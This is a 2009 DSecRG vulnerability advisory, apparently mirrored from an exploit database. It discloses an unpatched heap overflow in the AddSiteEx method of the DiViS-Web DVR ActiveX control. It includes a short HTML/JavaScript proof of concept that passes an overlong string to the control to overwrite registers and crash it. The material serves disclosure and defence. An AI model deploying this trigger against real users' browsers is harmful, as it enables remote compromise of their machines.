DSECRG-09-035

vendor:

DiViS-Web DVR System

by:

Digital Security Research Group [DSecRG]

7.5

CVSS

HIGH

Heap Overflow

119

CWE

Product Name: DiViS-Web DVR System

Affected Version From: 3.0.0.7

Affected Version To: 3.0.0.7

Patch Exists: NO

Related CWE: N/A

CPE: a:chance-i:divis-web_dvr_system

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Web

2009

DiViS-Web ActiveX (ActiveView.cab) has Heap Overflow vulnerability. Heap overflow vulnerability found in AddSiteEx() function. There is an exploitable heap overflow vulnerability in DVR's ActiveX control (ActiveView.cab). If an DVR user were to visit a malicious web page, the overflow could be triggered allowing for a 'remote' compromise of the user's machine. Alternatively, an attacker could send their target a specially crafted e-mail, loaded with an exploit to take advantage of this vulnerability. The problem arises by passing an overly long string to the AddSiteEx method of the control.

Mitigation:

NONE

Source

Exploit-DB raw data:

Digital Security Research Group [DSecRG] Advisory       #DSECRG-09-035

original advisory:   http://dsecrg.com/pages/vul/DSECRG-09-035.html


Application:                Chance-i DiViS-Web DVR System ActiveX control
Versions Affected:          3,0,0,7
Vendor URL:                 http://www.chance-i.com/
Bug:                        Heap Overflow
Exploits:                   YES
Reported:                   13.03.2009
Second Reported:            20.03.2009
Solution:                   NONE
Date of Public Advisory:    09.04.2009
Author:                     Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)



Description
***********

DiViS-Web ActiveX (ActiveView.cab) has Heap Overflow vulnerability.



Details
*******

Heap overflow vulnerability found in AddSiteEx() function.

There is an exploitable heap overflow vulnerability in DVR's ActiveX
control (ActiveView.cab).

If an DVR user were to visit a malicious web page, the overflow could be triggered allowing for a "remote" compromise of the user's machine. Alternatively, an attacker could send their target a specially crafted e-mail, loaded with an exploit to take advantage of this vulnerability.

The problem arises by passing an overly long string to the AddSiteEx
method of the control.

PoC:

    <OBJECT ID="DVR" classid="clsid:66F7F252-3FE1-4650-B1E5-94B2A38271C5" STYLE="width: 0px;">
    <PARAM NAME="_Version" VALUE="65536">
    <PARAM NAME="_ExtentX" VALUE="18203">
    <PARAM NAME="_ExtentY" VALUE="13705">
    <PARAM NAME="_StockProps" VALUE="0">
    <PARAM NAME="Split" VALUE="4">
    </OBJECT>

    //server address
    var g_sAddress = location.hostname;
    var g_sId = "";
    var g_sPwd = "";
    var g_bLogin = false;
    var g_nMaxCamera = 16;

    // Port setting
    var g_nImage = 3000;
    var g_nControl = 3001;
    var g_nSound = 8800;

    var long_buff = "alexsint";

    while(long_buff.length<(550*8)) long_buff = long_buff + "alexsint"; //rewrite registers

    DVR.Channels = 1;

    DVR.AddSiteEx("", "", long_buff, "", 0, g_nImage, g_nControl, g_nSound); //Crash on Free() at ntdll



Solution
********

We did not get any response from vendor for more than 2 weeks.

No patches aviable.



About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards.
Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:    research [at] dsecrg [dot] com
            http://www.dsecrg.com
            http://www.dsec.ru

# milw0rm.com [2009-04-10]